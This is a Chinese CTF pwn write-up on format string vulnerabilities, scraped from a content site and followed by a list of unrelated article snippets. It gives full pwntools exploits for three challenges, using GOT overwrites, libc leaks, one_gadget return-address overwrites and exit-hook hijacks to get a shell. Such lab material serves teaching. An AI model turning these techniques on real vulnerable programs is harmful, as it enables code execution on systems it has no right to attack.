[CTF]-PWN:格式化字符串漏洞题综合解析

printf型格式化字符串漏洞:

任意地址写:

32位:

例题(inndy_echo):

有格式化字符串漏洞,可以修改printf的got表内地址为system,传参getshell

解法一:

在32位中可以使用fmtstr_payload直接修改,免去很多麻烦

完整exp:

from pwn import*
p=process('./echo')
p=remote('node5.buuoj.cn',25852)
system_plt=0x8048400
printf_got=0x804A010
print(hex(system_plt))payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
payload=b'/bin/sh\x00'
p.sendline(payload)
p.interactive()

这个没啥好讲的,只是这个函数64位几乎用不了。

解法二:

完整exp:

from pwn import*
p=process('./echo')
system_plt=0x8048400
printf_got=0x804A010payload=b'%17$hhn'+b'%4c%18$hhn'+b'%4c%19$hhn'+b'%124c%20$hhn'
print(len(payload))
payload=payload.ljust(0x28,b'\x00')
payload+=p32(printf_got)+p32(printf_got+2)+p32(printf_got+3)+p32(printf_got+1)
print(len(payload))
p.sendline(payload)
p.interactive()

在这个方法中没有使用fmtstr_payload函数,虽然麻烦一点,但必须掌握。

先回顾一下知识点

在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位对于所有libc函数来说都是相同的,后24位不同。

在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位所有相同,后24位不同,这里不包含\x00截断。

以上情况包含了libc基地址+偏移过大的情况,在基地址较小的情况下甚至可以达到32位中前12位相同,64位中前28位相同。当然即使是在libc基地址+偏移过大的情况下,也会有部分函数32位中前12位相同,64位中前28位相同。

啥是libc基地址+偏移过大的情况?

部分函数的偏移过大,会影响下一个4位。

所以严谨地来说

在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位(1字节)对于所有libc函数来说都是相同的,后24位(3字节)不同。

在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位(3字节)所有相同,后24位(3字节)不同,这里不包含\x00截断。

回到题目,我们这里是把整个libc函数的真实地址修改为system的plt,所以不用管前多少位相同,统统改完就行,毕竟libc函数的真实地址跟system的plt一样只有4个字节,也就是32位。在这里提知识点只是防止知识点跟这道题搞混而已。

补充点:后面的printf_got记得要按小到大来覆盖。

64位:

例题(强网先锋 ez_fmt):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./ezfmt')
libc=ELF('/root/libc-2.31.so')
read_got=0x403FE0
w=0x404010
main=0x401196p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(buf)
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)
p.send(payload)
p.recvuntil(b'0x')
libc_start_main243=int(b'0x'+p.recv(12),16)
libc_start_main=libc_start_main243-243
libcbase=libc_start_main-libc.sym['__libc_start_main']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]
payload=b'%'+str(onegadget&0xff).encode()+b'c%10$hhn'+b'%'+str((onegadget>>8&0xffff)-(onegadget&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(buf+0x68)+p64(buf+0x68+1)
p.send(payload)p.interactive()
#6

把细一点的地方讲一下

p.recvuntil(b'There is a gift for you ')
buf=int(p.recv(14),16)
print(buf)
payload=b'%'+str(0x11ed).encode()+b'c%11$hn%19$p'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(buf-0x8)
p.send(payload)

这里是利用程序本身会进行一个ret操作把栈上的地址存入rip中,这个时候我们可以用格式化字符串漏洞去修改栈顶存储的地址就可以实现程序的再一次执行(而且这个地址是我们printf之后存入rip的,而且正好是把w的值变为0的那一个指令,这样既可以避免w被改为0,又可以让程序再次运行格式化字符串漏洞)

栈上是有libc_start_main+243的地址的,可以顺带泄露出来。

利用栈上存储了将要运行的程序地址可以故技重施,把返回地址修改为onegadget。

scanf型格式化字符串漏洞:

任意地址写:

例题(XYCTF2024 fmt):

这里没什么好说的

完整exp:


from pwn import*
context(log_level='debug')
#p=process('./fmt')
p=remote('gz.imxbt.cn',20975)
backdoor=0x4012BEp.recvuntil(b'gift: ')
printf_addr=int(p.recv(14),16)
print(hex(printf_addr))
libc=ELF('./libc-2.31.so')
libcbase=printf_addr-libc.sym['printf']
exithook=libcbase+0x222f68
payload=b'%7$s'
payload=payload.ljust(8,b'\x00')
payload+=p64(exithook)
p.sendline(payload)
payload=p64(backdoor)
p.sendline(payload)
p.interactive()

这里操作的scanf格式化字符串任意写的实现条件:

1.可控制的格式化字符串的输入(因为要输入格式化字符串以及要修改的地址)

2.scanf

#补充点1:

在libc2.23中可以修改libcbase+0x5f0040+3848(指的是rtld_global+3848,以下以此类推)或libcbase+0x5f0040+3856为shell

在libc2.27可以修改libcbase+0x619060+3840或libcbase+0x619060+3848

这些地方被叫做exithook

持续更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/391348.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vscode的json文件解析

vscode的json文件解析 0.参考链接1.什么是JSON2.JSON语法2.0数据类型2.1对象2.2数组2.3嵌套 3.vscode包含的JSON文件介绍4.vscode包含的JSON文件解析4.1 task.json4.2 launch.json4.3 settings.json4.4 c_cpp_properties.json4.5 package.json(详细的看参考链接&…

Python设计模式 - 抽象工厂模式

定义 抽象工厂模式是一种创建型设计模式,它提供了一种创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。 产品等级结构与产品族 为了更好地理解抽象工厂模式,先引入两个概念: 产品等级结构:就是产品的…

试用AWS全新神器:Amazon Bedrock的「Open Artifacts」版Claude.ai Artifacts

Claude.ai的Artifacts真是太方便了。 GitHub上的AWS Samples仓库中有一个仿制Artifacts的应用程序。 Open Artifacts for Amazon Bedrock https://github.com/aws-samples/open_artifacts_for_bedrockhttps://github.com/aws-samples/open_artifacts_for_bedrock本文将介绍「…

【C++】数组案例 五只小猪称体重

题目:给出五只小猪体重,找出最大的体重的值并打印 思路:利用数组写入五只小猪的体重,让每一个元素都赋值给一个整型变量并每赋值一次就于下一个数组中的元素比,若是大就继续赋值给这个变量,若是小则不赋值…

H81002S 1.7mm网络变压器:BMS汽车蓝牙接收器中的超薄共模电感科技

华强盛导读:在当今这个日新月异的汽车科技领域,每一处细节都蕴含着创新与突破。作为电动汽车心脏的电池管理系统(BMS),其高效稳定的运行不仅关乎续航与安全,更是智能化驾驶体验的基石。而在这背后&#xff…

win7安装mysql-installer-community-8.0.11.0

1、安装Microsoft Visual C 2019 Redistributable Package (x64) 官网下载地址:https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?viewmsvc-160#latest-microsoft-visual-c-redistributable-version 通过百度网盘分享的文件&#xff1…

Ubuntu安装nvidia-docker并使用的正确方式

Ubuntu安装docker: ubuntu(24.04)以及WSL2安装docker的详细教程_unbantu安装docker-CSDN博客文章浏览阅读646次,点赞5次,收藏3次。默认情况下,只有root用户和docker组的用户才能运行Docker命令。我们可以将当前用户添加到docker组,以避免每次使用Docker时都需要使用sudo。…

DAP-Seq:解锁转录因子结合位点的新钥匙

引言: 在基因组学的浩瀚宇宙中,转录因子如同掌管基因表达的神秘钥匙。它们与DNA上的特定序列结合,调控着生命活动的每一个节拍。然而,传统的研究方法在探索这些结合位点时面临诸多挑战。今天,我们将一起了解一种创新技…

多路I/O复用之select、poll、epoll

一、多进程/多线程模型的不足 为每个请求分配一个进程或线程的方式会带来较大的资源开销。创建和切换进程/线程需要消耗系统资源,包括内存、CPU 时间等。例如,在一个大规模的服务器环境中,如果同时有数千个请求到来,为每个请求创建…

01 LVS负载均衡群集

集群 在互联网应用中,随着站点对硬件的性能、响应速度、服务稳定性、数据可靠性等要求越来越高,单台服务器越来越力不从心 集群的含义 Cluster,集群也叫群集由多台主机构成,但对外只表现为一个整体 集群分类 类型 负载均衡集…

C++初学(10)

10.1、共用体 共用体是一种数据格式,它能够存储不同的数据类型,但只能同时存储其中的一种类型。比如说:结构可以同时存储int、long、和double,而共用体只能存储int、long、或double。共用体的句式与结构相似,但含义不…

《Milvus Cloud向量数据库指南》——Zilliz Cloud 高可用性深度解析:赋能GenAI应用,引领非结构化数据新纪元

在人工智能与大数据技术日新月异的今天,非结构化数据的处理与分析已成为推动行业智能化转型的关键驱动力。Zilliz Cloud,作为基于开源向量数据库Milvus构建的全托管解决方案,不仅革新了非结构化数据的存储与查询方式,更以其卓越的高可用性设计,为开发人员构建高效、可靠的…

c++----内存管理

okk,大家好。我们大家学习了鄙人的前面前面几篇博客,并且还稍微使用了一些c的基础知识。并且我们前面都说过,我们前面学习的知识都说过。我们前面的几篇博客都是我们以后使用c基础。但是我们大家都知道现在代码都关注什么时间啊,内…

【linux深入剖析】初识线程---线程概念

🍁你好,我是 RO-BERRY 📗 致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 🎄感谢你的陪伴与支持 ,故事既有了开头,就要画上一个完美的句号,让我们一起加油 目录 1. Linux线程概念什么是线…

k8s中yaml文件的编写

目录 1.编写pod.yaml 2.编写deploment.yaml 3.编写service.yaml关联创建的pod 4.总结获取K8S资源配置清单文件模板方法 方法1:根据现有资源导出yaml文件修改配置,重新创建 方法2:根据现有资源,进入其配置中,复制…

中国AI大模型场景探索及产业应用调研报告

AI大模型发展态势 定义 AI大模型是指在机器学习和深度学习领域中,采用大规模参数(至少在一亿个以上)的神经网络模型,AI大模型在训练过程中需要使用大量的算力和高质量的数据资源。 产业规模 2023年,中国大模型市场规模为147亿。结合《202…

滚雪球学Java(65-5):面对Properties的各种坑,你需要知道的Java小技巧

咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE相关知识点了,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好…

C++初学者指南-5.标准库(第二部分)--移除元素算法

C初学者指南-5.标准库(第二部分)–移除元素算法 文章目录 C初学者指南-5.标准库(第二部分)--移除元素算法remove / remove_ifremove_copy / remove_copy_ifunique / unique_copyerase / erase_if相关内容 不熟悉 C 的标准库算法? ⇒ 简介 remove / remove…

【解决error】安装torch 1.1.0

第一步 当云服务器上没有指定版本的torch可以选择 先确定指定torch符合的python版本号 例如这里&#xff0c;我需要安装torch1.1.0&#xff0c;所以需要python>3.6 且 python<3.7 根据python版本&#xff0c;确定服务器安装torch的版本配置 第二步 新建conda虚拟环境…

iPhone苹果密码解锁工具专业版_不限制电脑

iPhone苹果密码解锁工具专业版_不限制电脑 Aiseesoft iPhone Unlocker&#xff1a;轻松解锁iPhone。功能强大&#xff1a;一键移除4位、6位密码、Touch ID和Face ID。 隐私保护&#xff1a;创建密码&#xff0c;安全无忧。数据提醒&#xff1a;解锁时&#xff0c;注意数据和设…